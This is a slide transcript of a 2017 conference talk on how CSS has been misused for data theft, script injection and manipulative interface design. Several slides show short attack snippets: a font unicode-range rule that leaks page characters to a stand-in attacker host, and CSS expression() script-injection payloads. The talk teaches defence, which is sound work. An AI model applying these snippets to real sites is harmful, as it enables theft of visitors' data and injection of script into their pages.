CSS For Good, Not Evil

36857c1095dccf2f2c5ea470dc791530?s=47 Stephen Hay
June 16, 2017

CSS For Good, Not Evil

My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam

36857c1095dccf2f2c5ea470dc791530?s=128

Stephen Hay

June 16, 2017
Tweet

Transcript

  1. 1.

    CSS For Evil, Not Good. How style has been used

    to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
  2. 2.
  3. 3.
  4. 5.
  5. 6.
  6. 7.
  7. 8.
  8. 9.
  9. 12.
  10. 13.

    but most of all, Samy is 
 my hero By

    vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
  11. 18.
  12. 30.

    <div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {

    font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
  13. 32.

    .foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta

    http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
  14. 34.

    http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *

    { width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
  15. 41.
  16. 42.

    .li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;

    top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
  17. 44.
  18. 47.
  19. 48.
  20. 49.

    One thing going for us, at least for now: most

    scammers aren’t great designers.
  21. 53.
  22. 55.
  23. 56.
  24. 59.
  25. 60.
  26. 61.
  27. 63.
  28. 64.
  29. 65.
  30. 66.
  31. 68.

    Yes | No Yes | Not right now Yes |

    Maybe later There is a significant difference between these sets of choices.
  32. 70.
  33. 73.
  34. 74.
  35. 75.